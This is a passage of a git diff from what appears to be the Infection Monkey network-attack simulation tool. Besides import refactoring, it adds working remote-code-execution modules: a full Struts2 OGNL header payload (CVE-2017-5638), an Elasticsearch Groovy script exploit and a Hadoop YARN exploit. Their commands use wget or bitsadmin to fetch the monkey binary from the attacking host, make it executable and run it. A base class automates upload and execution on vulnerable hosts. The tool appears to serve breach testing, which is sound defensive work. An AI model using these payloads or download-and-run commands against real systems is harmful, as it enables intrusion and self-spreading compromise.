7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, 2222, @@ -273,13 +260,12 @@ class Configuration(object): # system info collection collect_system_info = True + should_use_mimikatz = True ########################### # systeminfo config ########################### - mimikatz_dll_name = "mk.dll" - extract_azure_creds = True diff --git a/infection_monkey/control.py b/monkey/infection_monkey/control.py similarity index 94% rename from infection_monkey/control.py rename to monkey/infection_monkey/control.py index d2cbc0cc0..98ad55671 100644 --- a/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -6,12 +6,12 @@ from socket import gethostname import requests from requests.exceptions import ConnectionError -import monkeyfs -import tunnel -from config import WormConfiguration, GUID -from network.info import local_ips, check_internet_access -from transport.http import HTTPConnectProxy -from transport.tcp import TcpProxy +import infection_monkey.monkeyfs as monkeyfs +import infection_monkey.tunnel as tunnel +from infection_monkey.config import WormConfiguration, GUID +from infection_monkey.network.info import local_ips, check_internet_access +from infection_monkey.transport.http import HTTPConnectProxy +from infection_monkey.transport.tcp import TcpProxy __author__ = 'hoffer' @@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 +# random number greater than 5, +# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +TIMEOUT = 15 class ControlClient(object): @@ -72,7 +75,8 @@ class ControlClient(object): LOG.debug(debug_message) requests.get("https://%s/api?action=is-up" % (server,), verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=TIMEOUT) WormConfiguration.current_server = current_server break @@ -160,7 +164,7 @@ class ControlClient(object): return try: - unknown_variables = WormConfiguration.from_dict(reply.json().get('config')) + unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous diff --git a/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py similarity index 92% rename from infection_monkey/dropper.py rename to monkey/infection_monkey/dropper.py index 6e63e5404..02bd649c2 100644 --- a/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -9,10 +9,11 @@ import sys import time from ctypes import c_char_p -from config import WormConfiguration -from exploit.tools import build_monkey_commandline_explicitly -from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX -from system_info import SystemInfoCollector, OperatingSystem +import filecmp +from infection_monkey.config import WormConfiguration +from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX +from infection_monkey.system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -56,7 +57,10 @@ class MonkeyDrops(object): return False # we copy/move only in case path is different - file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) + try: + file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) + except OSError: + file_moved = False if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) diff --git a/infection_monkey/example.conf b/monkey/infection_monkey/example.conf similarity index 95% rename from infection_monkey/example.conf rename to monkey/infection_monkey/example.conf index 3c33d975a..4e608f72f 100644 --- a/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -10,6 +10,7 @@ "subnet_scan_list": [ ], + "inaccessible_subnets": [], "blocked_ips": [], "current_server": "192.0.2.0:5000", "alive": true, @@ -37,7 +38,9 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "SambaCryExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter" ], "finger_classes": [ "SSHFinger", @@ -87,10 +90,11 @@ 443, 3306, 8008, - 9200 + 9200, + 7001 ], "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30 -} \ No newline at end of file +} diff --git a/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py similarity index 55% rename from infection_monkey/exploit/__init__.py rename to monkey/infection_monkey/exploit/__init__.py index f2d5d0c5b..470155020 100644 --- a/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,4 +1,5 @@ from abc import ABCMeta, abstractmethod +import infection_monkey.config __author__ = 'itamar' @@ -9,7 +10,7 @@ class HostExploiter(object): _TARGET_OS_TYPE = [] def __init__(self, host): - + self._config = infection_monkey.config.WormConfiguration self._exploit_info = {} self._exploit_attempts = [] self.host = host @@ -18,7 +19,7 @@ class HostExploiter(object): return self.host.os.get('type') in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): - from control import ControlClient + from infection_monkey.control import ControlClient ControlClient.send_telemetry( 'exploit', {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, @@ -33,12 +34,14 @@ class HostExploiter(object): raise NotImplementedError() -from win_ms08_067 import Ms08_067_Exploiter -from wmiexec import WmiExploiter -from smbexec import SmbExploiter -from rdpgrinder import RdpExploiter -from sshexec import SSHExploiter -from shellshock import ShellShockExploiter -from sambacry import SambaCryExploiter -from elasticgroovy import ElasticGroovyExploiter -from struts2 import Struts2Exploiter +from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.smbexec import SmbExploiter +from infection_monkey.exploit.rdpgrinder import RdpExploiter +from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.shellshock import ShellShockExploiter +from infection_monkey.exploit.sambacry import SambaCryExploiter +from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter +from infection_monkey.exploit.struts2 import Struts2Exploiter +from infection_monkey.exploit.weblogic import WebLogicExploiter +from infection_monkey.exploit.hadoop import HadoopExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py new file mode 100644 index 000000000..9eb64682b --- /dev/null +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -0,0 +1,65 @@ +""" + Implementation is based on elastic search groovy exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb + Max vulnerable elasticsearch version is "1.4.2" +""" + +import json +import logging +import requests +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP +from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE + +import re + +__author__ = 'danielg, VakarisZ' + +LOG = logging.getLogger(__name__) + + +class ElasticGroovyExploiter(WebRCE): + # attack URLs + MONKEY_RESULT_FIELD = "monkey_result" + GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD + JAVA_CMD = GENERIC_QUERY \ + % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(ElasticGroovyExploiter, self).__init__(host) + + def get_exploit_config(self): + exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() + exploit_config['dropper'] = True + exploit_config['url_extensions'] = ['_search?pretty'] + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} + return exploit_config + + def get_open_service_ports(self, port_list, names): + # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service + valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) + if ES_SERVICE in self.host.services: + valid_ports.append([ES_PORT, False]) + return valid_ports + + def exploit(self, url, command): + command = re.sub(r"\\", r"\\\\\\\\", command) + payload = self.JAVA_CMD % command + response = requests.get(url, data=payload) + result = self.get_results(response) + if not result: + return False + return result[0] + + def get_results(self, response): + """ + Extracts the result data from our attack + :return: List of data fields or None + """ + try: + json_resp = json.loads(response.text) + return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] + except (KeyError, IndexError): + return None diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py new file mode 100644 index 000000000..0605614ee --- /dev/null +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -0,0 +1,101 @@ +""" + Remote code execution on HADOOP server with YARN and default settings + Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn +""" + +import requests +import json +import random +import string +import logging +import posixpath + +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth +from infection_monkey.model import MONKEY_ARG, ID_STRING + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class HadoopExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + HADOOP_PORTS = [["8088", False]] + + # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes + # to download monkey at the same time + LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ + " Update /download /priority high %(http_path)s %(monkey_path)s " \ + "& %(monkey_path)s %(monkey_type)s %(parameters)s" + # How long we have our http server open for downloads in seconds + DOWNLOAD_TIMEOUT = 60 + # Random string's length that's used for creating unique app name + RAN_STR_LEN = 6 + + def __init__(self, host): + super(HadoopExploiter, self).__init__(host) + + def exploit_host(self): + # Try to get exploitable url + urls = self.build_potential_urls(self.HADOOP_PORTS) + self.add_vulnerable_urls(urls, True) + if not self.vulnerable_urls: + return False + paths = self.get_monkey_paths() + if not paths: + return False + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + command = self.build_command(paths['dest_path'], http_path) + if not self.exploit(self.vulnerable_urls[0], command): + return False + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + return True + + def exploit(self, url, command): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = json.loads(resp.content) + app_id = resp['application-id'] + # Create a random name for our application in YARN + rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)]) + payload = self.build_payload(app_id, rand_name, command) + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + return resp.status_code == 202 + + def check_if_exploitable(self, url): + try: + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + except requests.ConnectionError: + return False + return resp.status_code == 200 + + def build_command(self, path, http_path): + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + if 'linux' in self.host.os['type']: + base_command = self.LINUX_COMMAND + else: + base_command = self.WINDOWS_COMMAND + + return base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} + + @staticmethod + def build_payload(app_id, name, command): + payload = { + "application-id": app_id, + "application-name": name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + return payload diff --git a/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py similarity index 96% rename from infection_monkey/exploit/rdpgrinder.py rename to monkey/infection_monkey/exploit/rdpgrinder.py index 5d73c8279..3873a8ce3 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -9,12 +9,12 @@ from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor -from exploit import HostExploiter -from exploit.tools import HTTPTools, get_monkey_depth -from exploit.tools import get_target_monkey -from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from network.tools import check_tcp_port -from tools import build_monkey_commandline +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools import get_target_monkey +from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'hoffer' @@ -237,8 +237,6 @@ class RdpExploiter(HostExploiter): def __init__(self, host): super(RdpExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): diff --git a/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py similarity index 96% rename from infection_monkey/exploit/sambacry.py rename to monkey/infection_monkey/exploit/sambacry.py index 930cd8854..9e08d2dff 100644 --- a/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -15,11 +15,12 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE from impacket.smbconnection import SMBConnection -import monkeyfs -from exploit import HostExploiter -from model import DROPPER_ARG -from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.model import DROPPER_ARG +from infection_monkey.network.smbfinger import SMB_SERVICE +from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.pyinstaller_utils import get_binary_file_path __author__ = 'itay.mizeretz' @@ -52,7 +53,6 @@ class SambaCryExploiter(HostExploiter): def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration def exploit_host(self): if not self.is_vulnerable(): @@ -306,12 +306,12 @@ class SambaCryExploiter(HostExploiter): def get_monkey_runner_bin_file(self, is_32bit): if is_32bit: - return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb") + return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb") else: - return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb") + return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") def get_monkey_commandline_file(self, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) + return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location))) @staticmethod def is_share_writable(smb_client, share): diff --git a/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py similarity index 95% rename from infection_monkey/exploit/shellshock.py rename to monkey/infection_monkey/exploit/shellshock.py index e1ef246b6..b268371be 100644 --- a/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,11 @@ from random import choice import requests -from exploit import HostExploiter -from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import DROPPER_ARG -from shellshock_resources import CGI_FILES -from tools import build_monkey_commandline +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import DROPPER_ARG +from infection_monkey.exploit.shellshock_resources import CGI_FILES +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'danielg' @@ -29,7 +29,6 @@ class ShellShockExploiter(HostExploiter): def __init__(self, host): super(ShellShockExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( choice(string.ascii_uppercase + string.digits @@ -134,7 +133,7 @@ class ShellShockExploiter(HostExploiter): # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) diff --git a/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py similarity index 100% rename from infection_monkey/exploit/shellshock_resources.py rename to monkey/infection_monkey/exploit/shellshock_resources.py diff --git a/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py similarity index 92% rename from infection_monkey/exploit/smbexec.py rename to monkey/infection_monkey/exploit/smbexec.py index d3b27f79d..7528e08ba 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,12 +3,12 @@ from logging import getLogger from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT -from exploit import HostExploiter -from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth -from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS -from network import SMBFinger -from network.tools import check_tcp_port -from tools import build_monkey_commandline +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS +from infection_monkey.network import SMBFinger +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline LOG = getLogger(__name__) @@ -23,8 +23,6 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): diff --git a/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py similarity index 95% rename from infection_monkey/exploit/sshexec.py rename to monkey/infection_monkey/exploit/sshexec.py index 7c6cc6509..82dd1f4d7 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -4,12 +4,12 @@ import time import paramiko import StringIO -import monkeyfs -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from model import MONKEY_ARG -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'hoffer' @@ -23,7 +23,6 @@ class SSHExploiter(HostExploiter): def __init__(self, host): super(SSHExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration self._update_timestamp = 0 self.skip_exist = self._config.skip_exploit_if_file_exist diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..18f3d3a7e --- /dev/null +++ b/monkey/infection_monkey/exploit/struts2.py @@ -0,0 +1,94 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +import logging +from infection_monkey.exploit.web_rce import WebRCE + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +DOWNLOAD_TIMEOUT = 300 + + +class Struts2Exploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host, None) + + def get_exploit_config(self): + exploit_config = super(Struts2Exploiter, self).get_exploit_config() + exploit_config['dropper'] = True + return exploit_config + + def build_potential_urls(self, ports, extensions=None): + """ + We need to override this method to get redirected url's + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = [self.get_redirected(url) for url in url_list] + return url_list + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + LOG.error("Can't reach struts2 server") + return False + + def exploit(self, url, cmd): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :return: response + """ + cmd = re.sub(r"\\", r"\\\\", cmd) + cmd = re.sub(r"'", r"\\'", cmd) + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead as e: + page = e.partial + + return page diff --git a/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py similarity index 83% rename from infection_monkey/exploit/tools.py rename to monkey/infection_monkey/exploit/tools.py index dbbd8070a..a7a137557 100644 --- a/infection_monkey/exploit/tools.py +++ b/monkey/infection_monkey/exploit/tools.py @@ -17,11 +17,13 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMBConnection, SMB_DIALECT -import monkeyfs -from network import local_ips -from network.firewall import app as firewall -from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.network import local_ips +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port, get_routes +from infection_monkey.transport import HTTPServer, LockedHTTPServer +from threading import Lock class DceRpcException(Exception): @@ -173,8 +175,7 @@ class SmbTools(object): @staticmethod def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - - config = __import__('config').WormConfiguration + config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) @@ -386,6 +387,34 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + """ + Create http server for file transfer with a lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler + """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.start() + lock.acquire() + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + def get_interface_to_target(dst): if sys.platform == "win32": @@ -416,7 +445,7 @@ def get_interface_to_target(dst): def get_target_monkey(host): - from control import ControlClient + from infection_monkey.control import ControlClient import platform import sys @@ -442,7 +471,7 @@ def get_target_monkey(host): def get_target_monkey_by_os(is_windows, is_32bit): - from control import ControlClient + from infection_monkey.control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) @@ -466,18 +495,38 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d def build_monkey_commandline(target_host, depth, location=None): - from config import GUID + from infection_monkey.config import GUID return build_monkey_commandline_explicitly( GUID, target_host.default_tunnel, target_host.default_server, depth, location) -def get_binaries_dir_path(): - if getattr(sys, 'frozen', False): - return sys._MEIPASS - else: - return os.path.dirname(os.path.abspath(__file__)) - - def get_monkey_depth(): - from config import WormConfiguration + from infection_monkey.config import WormConfiguration return WormConfiguration.depth + + +def get_monkey_dest_path(url_to_monkey): + """ + Gets destination path from monkey's source url. + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from infection_monkey.config import WormConfiguration + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py new file mode 100644 index 000000000..bb3704995 --- /dev/null +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -0,0 +1,478 @@ +import logging +import re +from posixpath import join +from abc import abstractmethod + +from infection_monkey.exploit import HostExploiter +from infection_monkey.model import * +from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) +# Command used to check if monkeys already exists +LOOK_FOR_FILE = "ls %s" +POWERSHELL_NOT_FOUND = "owershell is not recognized" +# Constants used to refer to windows architectures( used in host.os['machine']) +WIN_ARCH_32 = "32" +WIN_ARCH_64 = "64" + + +class WebRCE(HostExploiter): + + def __init__(self, host, monkey_target_paths=None): + """ + :param host: Host that we'll attack + :param monkey_target_paths: Where to upload the monkey at the target host system. + Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + """ + super(WebRCE, self).__init__(host) + if monkey_target_paths: + self.monkey_target_paths = monkey_target_paths + else: + self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, + 'win32': self._config.dropper_target_path_win_32, + 'win64': self._config.dropper_target_path_win_64} + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + self.skip_exist = self._config.skip_exploit_if_file_exist + self.vulnerable_urls = [] + + def get_exploit_config(self): + """ + Method that creates a dictionary of configuration values for exploit + :return: configuration dict + """ + exploit_config = dict() + + # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # it's file to the default destination path. + exploit_config['dropper'] = False + + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. + exploit_config['upload_commands'] = None + + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + exploit_config['url_extensions'] = None + + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + exploit_config['stop_checking_urls'] = False + + # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. + exploit_config['blind_exploit'] = False + + return exploit_config + + def exploit_host(self): + """ + Method that contains default exploitation workflow + :return: True if exploited, False otherwise + """ + # We get exploit configuration + exploit_config = self.get_exploit_config() + # Get open ports + ports = self.get_ports_w(self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = self.build_potential_urls(ports, exploit_config['url_extensions']) + self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) + + if not self.vulnerable_urls: + return False + + # Skip if monkey already exists and this option is given + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + # Check for targets architecture (if it's 32 or 64 bit) + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]): + return False + + # Upload the right monkey to target + data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) + + if data is False: + return False + + # Change permissions to transform monkey into executable file + if self.change_permissions(self.vulnerable_urls[0], data['path']) is False: + return False + + # Execute remote monkey + if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: + return False + + return True + + @abstractmethod + def exploit(self, url, command): + """ + A reference to a method which implements web exploit logic. + :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. + :param command: Command which will be executed on remote host + :return: RCE's output/True if successful or False if failed + """ + raise NotImplementedError() + + def get_open_service_ports(self, port_list, names): + """ + :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Returns all open ports from port list that 